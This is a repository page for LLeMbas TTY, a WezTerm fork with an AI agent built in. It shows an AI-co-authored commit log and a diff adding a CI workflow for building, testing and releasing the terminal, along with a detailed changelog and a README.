31 Commits
Author SHA1 Message Date
HomerandClaude Fable 5.2 03f0f34dce 1.0.0-beta.5: AI autocomplete reaches the engine and says why when it does not, a command placed at your prompt, settings remembered here or everywhere
llembas-tty / linux (push) Failing after 38s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 14:08:59 +00:00
HomerandClaude Fable 5.2 b803aa39d9 Contract 3 as built: the input mark, the engine's own decisions, the timeouts it recommends, --json
llembas-tty / linux (push) Failing after 37s
- the terminal writes the input mark (pane-<n>.input beside the status
  record): whether anything stands on the input line of that prompt, from
  the input cells the shell integration marks. With AI on, for local panes.
- lembas complete: 8 s, and 20 s for the first request after autocomplete
  is switched on or its model changes; --debug with an engine of contract 3,
  whose decisions the autocomplete status shows.
- settings set and forget with --json.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:54:20 +00:00
HomerandClaude Fable 5.2 03f4e2b9dc The hint of a placed command belongs to its prompt; a question goes through once the turn no longer waits
llembas-tty / linux (push) Failing after 10m2s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:35:31 +00:00
HomerandClaude Fable 5.2 6e55ec7ebf Settings as the engine's contract 3 has them: the width's range, and a key joins the directory whose settings apply
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:34:17 +00:00
HomerandClaude Fable 5.2 dc630ca398 README, changelog and developer notes: settings, the autocomplete status, manual mode; the smoke test asks the new parts
llembas-tty / linux (push) Failing after 37s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:32:46 +00:00
HomerandClaude Fable 5.2 3839c7311c Settings remembered here or everywhere, a hint that stands, a placed command, the autocomplete in words
- every switch and choice (AI, AI autocomplete, suggestions, highlighting,
  mode, the two models, the display's width) is kept by the engine's store
  of the terminal's settings (lembas terminal settings, contract 3): in the
  palette twice, for this directory and for this machine; a key keeps it
  where the directory's settings already are. The settings of the active
  pane's directory apply, read lazily and kept a minute.
- a CLI without the store: as before, for this run, said once.
- what the display asks stands at the person's cursor row until it is
  answered (it was shown for four seconds); a command placed at the prompt
  (manual mode, contract 3) gets a hint that covers nothing.
- LLeMbas: settings, LLeMbas: autocomplete status, LLeMbas: display width.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:31:01 +00:00
HomerandClaude Fable 5.2 26e836d9e9 AI autocomplete: the engine is given the pane's directory, its errors are kept, and a hint that stands
llembas-tty / linux (push) Failing after 36s
The pane's directory came from the URL the shell integration reports
(file://<host><directory>) through the URL library's own conversion, which
refuses every URL that names a host. So the engine was started without
--cwd, which it requires, ended with a usage error, and its error output
was thrown away: no suggestion, no request, no word of it.

- llembas-line gains complete: whether a line is asked about (decide), the
  directory of a reported URL, one request at a time (Tracker), the engine's
  command line and its run (std only), and the last attempts in words. Tested
  with a stand-in engine that records its arguments, input and environment.
- the engine's timeout is an option (10 s by default); the autocomplete
  model chosen in the terminal is passed on; what the engine says on its
  standard error is the sentence shown.
- wezterm.llembas.complete_status(), .hint() (a word that stands at the
  cursor's row until it is taken away; gentle: never over a cell that shows
  something) and .data_dir().

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 13:24:57 +00:00
HomerandClaude Fable 5.2 a78e7ad48c 1.0.0-beta.4: LLeMbas in the terminal — the ask line in place of the prompt, a display on the right, suggestions and colours on the input line
llembas-tty / linux (push) Failing after 35s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 12:38:27 +00:00
HomerandClaude Fable 5.2 840e41468b README, changelog and developer notes for LLeMbas in the terminal
llembas-tty / linux (push) Failing after 37s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 12:22:02 +00:00
HomerandClaude Fable 5.2 403f8d0730 Suggestions and colours on the shell's input line, drawn by the terminal; the engine's contract as built
Drawn when a pane is painted and nowhere else: nothing is written to the pane and the
terminal's model of the screen is not touched. The input line is found among the cells the
shell integration marked; the painter gets the pane's own lines with copies of the few rows
that are drawn differently.

- The rest of the line, dimmed after the cursor, from the terminal's own history of commands
  it saw run (its own file, the person's alone; nothing that starts with a space, was not
  found or came from a private pane). Right or End takes it, Alt+Right one word, as if typed.
- With the AI's autocomplete on, LLeMbas is asked after a pause when the history has nothing,
  off the window's thread, and its answer shows in the same place.
- The command line in colours of the colour scheme's palette: the command when it exists,
  options, strings, variables, operators, comments, paths that exist. Existence is looked up
  only for a shell on this machine.
- A word from the terminal at the cursor's row for a moment, in place of a dialog.
- Off under a full-screen program, without shell integration, for a line of more than three
  rows, under an overlay, and by its options and switches.

The layer, to the engine's contract as built: answers and stop go as lines (/approve, /deny,
/always, /stop); the display is started so that the pane stays to say why it could not; every
pane is told where the status records of this terminal are, each terminal keeping its own.
The autocomplete drawn by the shell integration is now autocomplete = 'shell'.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 12:22:02 +00:00
HomerandClaude Fable 5.2 b44ec57291 The ask line in place of the shell's line, drawn by the terminal
llembas-tty / linux (push) Failing after 38s
The ask key turns the row of the cursor into a line for a question to LLeMbas: a prefix naming
the model and the mode, and a small line editor of the terminal's own (insert, delete, word
motions, paste, earlier questions). Enter hands the line to the layer as its event; Escape or
the key again leaves it. Nothing typed there reaches the shell, and nothing is written to the
pane: it is an overlay over the pane, as the terminal's search and quick select are, drawing
the pane's own lines with the one row replaced.

- llembas/line: a crate of its own with no dependencies for what is decided about a line of
  text - the editor, the shell's input line as read from the screen's cells, the terminal's own
  command history, suggestions, and the parts of a command line for its colours - with its
  tests. The last four are used by what comes next.
- wezterm-gui/src/llembas: the thin part between that and the terminal, and wezterm.llembas
  through which the Lua layer asks for it.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 12:10:57 +00:00
HomerandClaude Fable 5.2 0fa3d1a990 The layer for LLeMbas in the terminal: AI on/off, the CLI whole in a tab, the display instead of the split, the pane's status record
llembas-tty / linux (push) Failing after 35s
- An option `ai` and a switch that works at any moment; with AI off every key of the layer
  but the switch does nothing, and says so once.
- A key opens the LLeMbas CLI whole, in a new tab, as if `lembas` were typed.
- A question goes to the terminal's display (`lembas terminal`, started to the right of the
  pane at a third of its width, the focus staying where it was) and never to the CLI's own
  interface in a split. A CLI without the display is said so in words, with how to update.
- Keys and palette entries that act on the display from the person's own pane: allow, allow
  always, deny, stop the turn, new conversation, show/hide, choose model, choose mode.
- The shell integration writes the pane's status record at every prompt and when a command
  starts (a file of the person's own, and the user variable llembas_tty_status), and the layer
  keeps the file for a shell that could not write it.
- The layer talks to the terminal's own drawing part (wezterm.llembas) when there is one:
  the ask line in place, a word at the cursor's row, what is on.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 11:56:20 +00:00
HomerandClaude Fable 5.2 79cc61e1a1 CI: a round's branch is built, and a compiler error or a failed test is an annotation on the run
llembas-tty / linux (push) Failing after 37s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 11:36:42 +00:00
HomerandClaude Fable 5.2 c158a6e52a 1.0.0-beta.3: no CLI of its own, a set-up for the CLI and LLeMbas IDE, the IDE from the terminal
llembas-tty / linux (push) Failing after 36s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 10:26:49 +00:00
HomerandClaude Fable 5.2 3d44c65fd2 No copy of the CLI in the terminal: it uses the installed one, and a set-up installs the CLI and LLeMbas IDE when they are missing
llembas-tty / linux (push) Failing after 38s
The terminal is the front of a set of three, not a container for the
other two: lembas and llembas-ide are found on PATH or in ~/.local/bin,
the same installations used outside it. llembas-tty-setup runs each
product's own installer after checking it against the release key.
LLeMbas IDE opens from the terminal (Ctrl+Shift+E).

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 10:15:06 +00:00
HomerandClaude Fable 5.2 e81acbe6b4 1.0.0-beta.2: a quiet window by default, the .deb named as the version is written
llembas-tty / linux (push) Failing after 37s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 09:58:02 +00:00
HomerandClaude Fable 5.2 d728e88883 A quiet window by default: no tab bar for one tab, a plain line at the bottom for more
llembas-tty / linux (push) Failing after 35s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 09:47:48 +00:00
HomerandClaude Fable 5.2 f4052687c6 Package: the .deb file is named by the version as written
llembas-tty / linux (push) Failing after 36s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 08:30:29 +00:00
HomerandClaude Fable 5.2 03db35dd31 1.0.0-beta.1: a terminal with LLeMbas built in
llembas-tty / linux (push) Failing after 35s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 08:13:12 +00:00
HomerandClaude Fable 5.2 249d7168a8 Smoke test: a pane wraps at 80 columns, so one value a line and the lines joined
llembas-tty / linux (push) Failing after 35s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 07:47:56 +00:00
HomerandClaude Fable 5.2 95f0d8b8e5 The package's maintainer address
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 07:40:18 +00:00
HomerandClaude Fable 5.2 fdd24a0388 The terminal's own icon: the leaf with a terminal screen in the corner
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 07:38:35 +00:00
HomerandClaude Fable 5.2 9435f4810d Smoke test: a failed check is also an annotation on the run
llembas-tty / linux (push) Failing after 34s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-02 07:38:19 +00:00
HomerandClaude Fable 5.2 4357c7efa5 Carry LLeMbas CLI 2.0.0-beta.18, the first with the terminal's side of the contract
llembas-tty / linux (push) Failing after 38s
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-01 21:51:17 +00:00
HomerandClaude Fable 5.2 192910f45a Smoke test: keep the server's own process id, and check that it stops
llembas-tty / linux (push) Failing after 37s
Started through a shell function, the id kept was the subshell's, and the
server outlived the test.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-01 19:52:50 +00:00
HomerandClaude Fable 5.2 1131fd1c42 README, changelog and developer notes for what now exists
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-01 19:31:25 +00:00
HomerandClaude Fable 5.2 3007a24b7d Package and CI: the verified CLI, a .deb and a tarball, one workflow
- llembas-cli.version pins the LLeMbas CLI; scripts/fetch-cli.sh fetches it
  and checks SHA256SUMS against the release key before anything is bundled.
- llembas/packaging/package.sh stages /usr/lib/llembas-tty (our three
  binaries and the CLI beside them), links, shell integration, desktop entry,
  icons and licences, and makes the .deb and the tarball.
- .github/workflows/llembas-tty.yml: hygiene, the layer's tests, a release
  build, a headless smoke test of what was built, the packages, and on a
  v* tag the GitHub Release. WezTerm's workflow files are untouched;
  llembas/ci/disable-upstream-workflows.sh switches them off on our repository.
- The window icon is the LLeMbas mark.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-01 19:31:25 +00:00
HomerandClaude Fable 5.2 b68b8c7903 Shell integration: zones, and prompt autocomplete for zsh and bash
Active only inside LLeMbas TTY. llembas-tty.sh loads WezTerm's own
integration (OSC 133, OSC 7) unless it is loaded already, and the
autocomplete when LLEMBAS_TTY_AUTOCOMPLETE=1: ghost text after the cursor in
zsh (asked beside the line editor, after a pause, stopped by a keystroke),
a key in bash. Both ask lembas complete --shell and put only cleaned text on
the line.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-01 19:31:25 +00:00
HomerandClaude Fable 5.2 18c4a516e5 Ask in one write, and fit the screen under the limit
The terminal delivers a paste later than a plain write, so Enter arrived
before the question (seen with a real mux server). The context line, the
question as a bracketed paste and Enter now go as one write. The screen of a
context is cut by what it costs in JSON, not by its raw length.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-01 19:31:25 +00:00
HomerandClaude Fable 5.2 6f1d304fd7 The LLeMbas layer's tests, without a terminal
llembas/tests/run.lua runs the layer against a stand-in for the terminal;
scripts/test-lua.sh runs it with lua5.4, lua, luajit or nvim -l.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-01 19:15:13 +00:00
HomerandClaude Fable 5.2 f3d4fe413c Identity: own names, directories, variables and app id
LLeMbas TTY installs and runs beside WezTerm without touching it:

- binaries llembas-tty, llembas-tty-gui, llembas-tty-mux-server (packages keep
  upstream's names);
- configuration in $XDG_CONFIG_HOME/llembas-tty/llembas-tty.lua or
  ~/.llembas-tty.lua; own data, cache and runtime directories;
- LLEMBAS_TTY_CONFIG_FILE / _CONFIG_DIR / _UNIX_SOCKET / _PANE / _EXECUTABLE
  replace the WEZTERM_ ones, which are neither read nor passed on, so neither
  program talks to the other's panes;
- window class, app id, notification id and bundle id eu.llembas.tty;
- panes get LLEMBAS_TTY=<version>; TERM_PROGRAM stays WezTerm;
- --version shows our version and the WezTerm version it is based on;
- the update check, which asks about WezTerm's releases, is off by default.

The LLeMbas layer (llembas/lua) is compiled in and offered as
require 'llembas'; with no configuration file the built-in one applies it.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-12-01 19:15:13 +00:00
85 changed files with 14329 additions and 100 deletions

No files matched your search

+131
View File
@@ -0,0 +1,131 @@
# LLeMbas TTY's own workflow: the one workflow in this repository that is ours. Every other
# file in this directory is WezTerm's, kept untouched so that merging upstream stays cheap; on
# our repository those are switched off in the Actions settings (llembas/README.md says how).
#
# On every push to main and dev, on a pull request, and by hand: the hygiene check, the LLeMbas
# layer's tests, a release build for Linux x86-64, the config crate's tests, a headless smoke
# test of what was built, and the packages (kept as a build artefact).
# On a signed tag vX.Y.Z or vX.Y.Z-beta.N: the same, and then the GitHub Release with the
# packages, SHA256SUMS and the tag message as its notes.
name: llembas-tty
on:
push:
# round/**: a branch on which a round of work is built before it is merged into dev
branches: [main, dev, "round/**"]
tags: ["v*"]
pull_request:
workflow_dispatch:
permissions:
contents: read
concurrency:
group: llembas-tty-${{ github.ref }}
cancel-in-progress: ${{ !startsWith(github.ref, 'refs/tags/') }}
jobs:
linux:
runs-on: ubuntu-22.04
timeout-minutes: 120
permissions:
contents: write
env:
CARGO_INCREMENTAL: "0"
CARGO_TERM_COLOR: always
steps:
- uses: actions/checkout@v5
with:
# The whole history: the hygiene check reads what was added since the commit in
# UPSTREAM, and the build derives WezTerm's version from the newest commit.
fetch-depth: 0
# freetype, harfbuzz, libpng and zlib are built from deps/
submodules: recursive
- name: Nothing private in what this fork adds
run: scripts/hygiene.sh
- name: The tag names this version
if: startsWith(github.ref, 'refs/tags/v')
run: |
git fetch --force origin "refs/tags/$GITHUB_REF_NAME:refs/tags/$GITHUB_REF_NAME"
version="$(tr -d '[:space:]' < VERSION)"
[ "v$version" = "$GITHUB_REF_NAME" ] || { echo "VERSION says $version, the tag is $GITHUB_REF_NAME" >&2; exit 1; }
- name: Tools for the checks
run: |
sudo apt-get update
sudo apt-get install -y lua5.4 luajit zsh shellcheck yamllint desktop-file-utils appstream
- name: The LLeMbas layer's tests (Lua 5.4 and LuaJIT)
run: scripts/test-lua.sh --all
- name: The shell integration's status record (bash and zsh, each on a terminal of its own)
run: llembas/tests/shell-test.sh
- name: Shell scripts, the workflow, the desktop file
run: |
shellcheck scripts/*.sh llembas/packaging/*.sh llembas/tests/*.sh llembas/ci/*.sh \
llembas/shell/llembas-tty.sh llembas/shell/autocomplete.bash llembas/setup/llembas-tty-setup
zsh -n llembas/shell/autocomplete.zsh
zsh -n llembas/shell/llembas-tty.sh
yamllint -d '{extends: default, rules: {line-length: disable, document-start: disable, truthy: disable}}' .github/workflows/llembas-tty.yml
desktop-file-validate llembas/packaging/eu.llembas.tty.desktop
appstreamcli validate --no-net llembas/packaging/eu.llembas.tty.appdata.xml || true
- name: System libraries
run: env CI=yes ./get-deps
- uses: actions-rust-lang/setup-rust-toolchain@v1
with:
# Upstream's code is not held to "no warnings" here; the action's default would be.
rustflags: ""
- name: The set-up program (what it installs is checked against the release key)
run: llembas/tests/setup-test.sh
- name: Tests of the line logic (the ask line's editor, the input line, history, suggestions, colours)
# first of the Rust steps: it has no dependencies, so a mistake in it is known in a minute
run: llembas/ci/cargo-annotated.sh test --locked -p llembas-line
- name: Build (release)
# also when the line logic's tests failed: one run then says both what they found and
# whether the terminal compiles (the steps after this one still stop at a failure)
if: ${{ !cancelled() }}
# through the wrapper: a compiler error is then an annotation on the run as well
run: llembas/ci/cargo-annotated.sh build --release --locked -p wezterm -p wezterm-gui -p wezterm-mux-server
- name: The binaries carry our names
run: |
ls -l target/release/llembas-tty target/release/llembas-tty-gui target/release/llembas-tty-mux-server
target/release/llembas-tty --version
- name: Tests of the configuration crate (where the layer is built in)
run: llembas/ci/cargo-annotated.sh test --release --locked -p config
- name: Smoke test, headless
run: llembas/tests/smoke.sh target/release
- name: Package (.deb and tarball)
run: llembas/packaging/package.sh target dist
- name: The .deb installs, runs and is removed cleanly
run: |
sudo apt-get install -y ./dist/llembas-tty_*.deb
llembas-tty --version
test ! -e /usr/lib/llembas-tty/lembas
llembas-tty-setup --dry-run
llembas/tests/smoke.sh /usr/lib/llembas-tty
sudo apt-get remove -y llembas-tty
- name: SHA256SUMS
run: |
cd dist
version="$(tr -d '[:space:]' < ../VERSION)"
# Written beside the folder first: inside it, the glob would list SHA256SUMS itself.
{ echo "# llembas-tty $version"; sha256sum -- *; } > ../SHA256SUMS
mv ../SHA256SUMS .
cat SHA256SUMS
- uses: actions/upload-artifact@v4
with:
name: llembas-tty-linux-x86_64
path: dist/*
retention-days: 14
- name: Publish the GitHub Release
if: startsWith(github.ref, 'refs/tags/v')
env:
GH_TOKEN: ${{ github.token }}
run: |
version="$(tr -d '[:space:]' < VERSION)"
git tag -l --format='%(contents)' "$GITHUB_REF_NAME" | sed '/-----BEGIN SSH SIGNATURE-----/,$d' > notes.md
# A version is released once: a fix is a new version, never the old one re-released.
if gh release view "$GITHUB_REF_NAME" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "A release for $GITHUB_REF_NAME exists already. Release the fix as a new version." >&2
exit 1
fi
pre=()
case "$version" in *-*) pre=(--prerelease) ;; esac
gh release create "$GITHUB_REF_NAME" --repo "$GITHUB_REPOSITORY" --verify-tag "${pre[@]}" \
--title "LLeMbas TTY $version" --notes-file notes.md dist/*
+189 -2
View File
@@ -3,10 +3,197 @@
What changed in each release of LLeMbas TTY. WezTerm's own changes are in
`docs/changelog.md`, as upstream keeps them.
## 1.0.0-beta.1 — unreleased
## 1.0.0-beta.5 — 2026-12-02
### Fixed
- **AI autocomplete never asked.** The terminal started the engine without the pane's
directory, which the engine requires: the directory was taken from what the shell
integration reports (`file://<host><directory>`) in a way that fails for every address
that names a host — which is every one the integration writes. The engine ended with a
usage error, its error output was discarded, and nothing was shown: no suggestion, no
request to the server, no word about it. The directory is now read correctly (so are the
paths that the highlighting marks as existing, which had the same fault for relative
paths), and when there is none the person's home is given.
- **What an attempt gave is never silent.** The engine's own sentence — not logged in, no
model chosen, a timeout — is kept and shown by *LLeMbas: autocomplete status*, and written
to the terminal's log.
- **The engine is given time.** It was stopped after 2.5 seconds, before a model on the
person's own machine could be loaded for its first answer; and a request that is closed
stops the loading. Now eight seconds by default (an option: `autocomplete_timeout_ms`), and
twenty for the first request after autocomplete is switched on or its model changes.
- The autocomplete model chosen in the terminal is passed to the engine with each request.
- **What LLeMbas asks stands until it is answered.** The word at the cursor's row that says
an approval or a question waits, with its keys, was gone after four seconds; it now stays
for as long as the display asks, moves with you to another pane of the tab, and goes when
it is answered or the display closes.
### Added
- **Settings are remembered, for this machine and for a working directory.** Every switch
and choice — AI, AI autocomplete, suggestions, highlighting, mode, chat model,
autocomplete model, display width — is in the command palette twice: *— here* for the
pane's directory, *— everywhere* for the machine; the directory's own wins. A key keeps
the choice where this directory's settings already are. The settings of the active pane's
directory apply, and follow you from directory to directory. Kept by the LLeMbas CLI
(`lembas terminal settings`, CLI 2.0.0-beta.20 or newer) in its own directory on this
machine; with an older CLI a choice holds until the terminal closes, said once. The
options in the configuration file are the starting values: a value set through the
terminal wins.
- **LLeMbas: settings** — what applies in this pane and where each value comes from, with a
line that forgets the directory's own.
- **LLeMbas: autocomplete status** — whether the AI's autocomplete is on and by whose
choice, the engine and model it would use, and the last attempts: when, for which line,
how long, and what came back.
- **LLeMbas: display width** — the display's part of the pane.
- **Manual mode without an approval card** (with a CLI that places commands, 2.0.0-beta.20
or newer): the command is put at your prompt and not entered; a dimmed hint — *Enter runs
· edit freely · Ctrl+C dismisses* — is drawn beside it, or on the empty row below, never
over it, and goes when you have decided. Nothing of the hint is written to the pane.
- **The input mark.** With AI on, the terminal writes beside each pane's status record
whether anything stands on the input line of that prompt (`pane-<n>.input`: the record's
id and seq, `typed=0` or `1` — never the text). By it LLeMbas places a command only at an
empty prompt, whatever the prompt looks like, and never adds to what you typed.
- With an engine that knows `--debug` (contract 3), *autocomplete status* also shows what
the engine said of each of its decisions at the newest attempt.
### For developers
- `llembas-line` gains `complete`: whether a line is asked about and why not, the directory
in a reported address, one request at a time, the engine's command line and its run, and
the attempts in words — tested in CI with a stand-in engine that records its arguments,
its input and its environment.
- `llembas-line` gains `mark` (the input mark's text and file).
- `wezterm.llembas.hint`, `.status`, `.complete_status`, `.data_dir`; `configure` takes
`ac_model`, `ac_timeout_ms`, `ac_debug` and `input_mark`.
## 1.0.0-beta.4 — 2026-12-02
### Changed
- **LLeMbas in the terminal, not a terminal that starts LLeMbas.** The LLeMbas CLI's own
interface is no longer opened in a split. You ask at your own prompt, the answer shows in
the terminal's display on the right, and what the agent does in a shell is typed into your
pane. The CLI is the engine behind it; `Ctrl+Shift+S` opens the CLI itself, whole, in a new
tab. Asking needs LLeMbas CLI 2.0.0-beta.19 or newer; with an older one the terminal says
so, with how to update.
- **The ask line is in place of your shell's line** (`Ctrl+Shift+A`), not a prompt at the top
of the window: it names the model and the mode, `Enter` sends, `Escape` or the key again
leaves it, and your shell's line is untouched.
- The display is a third of the pane's width (option `display.width`), and the keyboard stays
in your shell when it opens.
- Keys: `Ctrl+Shift+S` opens the CLI in a tab (it started a session in a split),
`Ctrl+Shift+D` shows and hides the display. *Resume a session* is gone from the terminal:
a tab keeps its conversation, and the CLI in a tab has its own session list. The options
`split` and `new_session_in`, and the keys `new_session`, `resume` and `toggle_display`,
are gone with it.
- *Log in* and *set up* open in a tab.
- AI autocomplete (`autocomplete = true`) is drawn by the terminal, in every shell. The one
the shell integration drew is `autocomplete = 'shell'`.
### Added
- **AI on and off**: the option `ai`, and `Ctrl+Shift+I` at any moment. Off: the LLeMbas keys
do nothing, nothing is started, read or sent.
- **Approvals from your own pane**: `Ctrl+Shift+Y` allows, `Ctrl+Shift+J` denies,
`Ctrl+Shift+G` stops the turn; what LLeMbas asks is said at your cursor. Palette entries
for *approve always*, *new conversation*, *choose model*, *choose autocomplete model* and
*choose mode* (manual, auto). The terminal has its own two models, kept by the CLI.
- **Suggestions on the shell's line, drawn by the terminal**: the rest of the line from the
commands the terminal has seen you run, dimmed after the cursor; `Right` or `End` takes it,
`Alt+Right` one word. Needs the shell integration; works in bash and zsh alike.
- **The command line in colours**, drawn by the terminal: the command when it exists,
options, strings, variables, the signs between commands, comments, paths that exist.
- **The terminal's own command history** for those suggestions, in
`~/.local/share/llembas-tty/command-history`, yours alone, never sent anywhere. Not kept: a
line that starts with a space, a command that was not found, anything from a private pane.
*LLeMbas: clear command history* removes it; `history = { enabled = false }` keeps none.
- **The pane's status record**: the shell integration says at every prompt, and when a
command starts, where the shell stands and how the last command ended. LLeMbas waits for
it after typing a command.
- Options `suggestions`, `highlight`, `history`, `colors`, `mode`, `display`; palette
switches for suggestions, highlighting and AI autocomplete.
## 1.0.0-beta.3 — 2026-12-02
### Changed
- **The terminal carries no LLeMbas CLI of its own any more.** It uses the `lembas` you have —
on `PATH`, or in `~/.local/bin` where its installer puts it — the same one you use outside the
terminal, updated by itself. The package is smaller by that copy.
- The CLI that 1.0.0-beta.1 and 1.0.0-beta.2 kept in `/usr/lib/llembas-tty/` is removed by the
update. If it was the only one you had: run the set-up below once, and log in again.
### Added
- **Set-up: the CLI and LLeMbas IDE installed when they are missing.** The palette entry
*LLeMbas: set up (CLI and IDE)*, or `llembas-tty-setup` in a shell, says what is missing and
asks before installing each, for your user only. It runs each product's own installer from
its own release, and only after checking it against the LLeMbas release key. A beta terminal
installs the newest betas.
- **LLeMbas IDE from the terminal**: `Ctrl+Shift+E`, or *LLeMbas: open LLeMbas IDE here*, opens
the editor in a new tab in the pane's directory. Option `ide` for its path, key `keys.ide`.
## 1.0.0-beta.2 — 2026-12-02
### Changed
- **A quiet window by default.** No tab bar while a window has one tab; with more, a plain line
of text at the bottom instead of a strip in the window's frame. Tabs are opened, closed and
walked by keys as before. This is the built-in configuration only: your own file decides for
itself. The session bar sits in that line, so with one tab it is not shown.
### Fixed
- The `.deb` file is named by the version as written (`llembas-tty_1.0.0-beta.2_amd64.deb`). In
1.0.0-beta.1 its name carried Debian's `~`, which a forge's upload turns into a dot, so the
release's `SHA256SUMS` named a file that was not there under that name.
## 1.0.0-beta.1 — 2026-12-02
### Added
- Carries LLeMbas CLI 2.0.0-beta.18, the first with what the terminal needs from it (session
state for the bar, terminal context, the pane tools, a shell line completed).
- Forked from WezTerm (`wezterm/wezterm`, `main` at `1026152aa`), with its full
history, so that upstream can be merged in; `UPSTREAM` names the upstream
commit last merged. Nothing changed in the terminal yet.
commit last merged.
- **Its own identity**, so that it installs and runs beside WezTerm and shares
nothing with it: the commands `llembas-tty`, `llembas-tty-gui` and
`llembas-tty-mux-server`; the configuration in
`~/.config/llembas-tty/llembas-tty.lua` or `~/.llembas-tty.lua`; its own
data, cache and runtime directories; the window class and application id
`eu.llembas.tty`; its own desktop entry and icon. WezTerm's configuration
files and `WEZTERM_*` variables are neither read nor passed on, and neither
program connects to the other's panes.
- Panes get `LLEMBAS_TTY` (the version), `LLEMBAS_TTY_PANE` and
`LLEMBAS_TTY_EXECUTABLE`; `TERM_PROGRAM` stays `WezTerm`, which programs
detect features by. `--version` shows our version and the WezTerm version it
is based on.
- **The LLeMbas layer**, built into the binary as `require 'llembas'` and
applied by a built-in configuration when you have no file of your own:
- *Ask the model* (`Ctrl+Shift+A`): a one-line prompt; the question goes to
the tab's LLeMbas pane, or to a new one opened beside yours, together with
the last commands of your pane and the end of their output.
- *Ask about this screen*, *new session here* (`Ctrl+Shift+S`), *resume a
session* (`Ctrl+Shift+O`), *toggle side display* (`Ctrl+Shift+D`), *private
pane on/off* (`Ctrl+Shift+H`) and *log in*, all in the command palette too.
- A session bar with the model, mode, state and context of the LLeMbas pane
you are in, and a mark on a tab in which LLeMbas waits for you.
- Every key and every part can be changed or turned off in
`require('llembas').apply(config, { … })`.
- **A plain terminal by default.** Nothing is started, read or sent until you
press one of those keys. A private pane, a password prompt and a pane on
another machine are never passed on; a full-screen program only when asked.
- **Shell integration** for bash and zsh, active only inside LLeMbas TTY:
command and output marks (WezTerm's own script), and prompt autocomplete —
ghost text in zsh, a key in bash — off unless `autocomplete = true`.
- **Packages**: a `.deb` and a tarball for Linux x86-64, built by CI, carrying
the LLeMbas CLI pinned in `llembas-cli.version` and verified against its
release key.
### Changed
- The check for updates is off by default: it asked GitHub about WezTerm's
releases, which are not this program's.
Generated
+5
View File
@@ -3297,6 +3297,10 @@ version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "11d3d7f243d5c5a8b9bb5d6dd2b1602c0cb0b9db1621bafc7ed66e35ff9fe092"
[[package]]
name = "llembas-line"
version = "0.1.0"
[[package]]
name = "lock_api"
version = "0.4.14"
@@ -7138,6 +7142,7 @@ dependencies = [
"lazy_static",
"lfucache",
"libc",
"llembas-line",
"log",
"luahelper",
"metrics",
+303 -17
View File
@@ -1,25 +1,311 @@
# LLeMbas TTY
**A terminal that is also an agent.** LLeMbas TTY is a fork of
[WezTerm](https://github.com/wezterm/wezterm) with LLeMbas built in. By default
it is an ordinary terminal and nothing leaves the machine. When you ask, it
can attach a LLeMbas session to a pane:
**LLeMbas in the terminal.** LLeMbas TTY is a fork of
[WezTerm](https://github.com/wezterm/wezterm) with LLeMbas built into it: you ask at your own
prompt, the answer shows beside your shell, and what the agent does in a shell it types into
your pane, at your prompt, where you see it. It is not a terminal that starts another
program in a split.
- **Ask the model** from a key, without the line reaching your shell; the
answer shows in a side display.
- **The model sees what is happening**: the commands you ran, their exit
status and the end of their output, and where you are — as you allow it.
- **It can act in the terminal**: run a command in your pane, asked first.
- **Autocomplete in the prompt**, as ghost text, with its own switch and model.
- **Session bars and displays** — files, commands, changes and pictures — and
inline images.
With AI switched off, or until you press one of the keys below, it is an ordinary terminal:
nothing is started, nothing of a pane is read and nothing leaves the machine.
The agent is the [LLeMbas CLI](https://github.com/LLeMbas/LLeMbas-CLI),
unchanged; the package installs it, with Neovim and the LLeMbas editor plugin.
It logs in to your own LLeMbas server and uses that server's models.
The engine is the [LLeMbas CLI](https://github.com/LLeMbas/LLeMbas-CLI) (`lembas`), installed
beside the terminal as its own thing, and the editor is
[LLeMbas IDE](https://github.com/LLeMbas/LLeMbas-IDE) (`llembas-ide`). The terminal carries no
copy of either: it uses the ones you have and installs what is missing when you ask
(*Set-up*, below). The CLI logs in to your own LLeMbas server and uses that server's models.
**State:** just forked; nothing above is built yet. Version in `VERSION`,
changes in `CHANGELOG.md`. MIT, like WezTerm — see `LICENSE.md`.
**State: beta.** Built and packaged by CI for Linux x86-64 (a `.deb` and a tarball on the
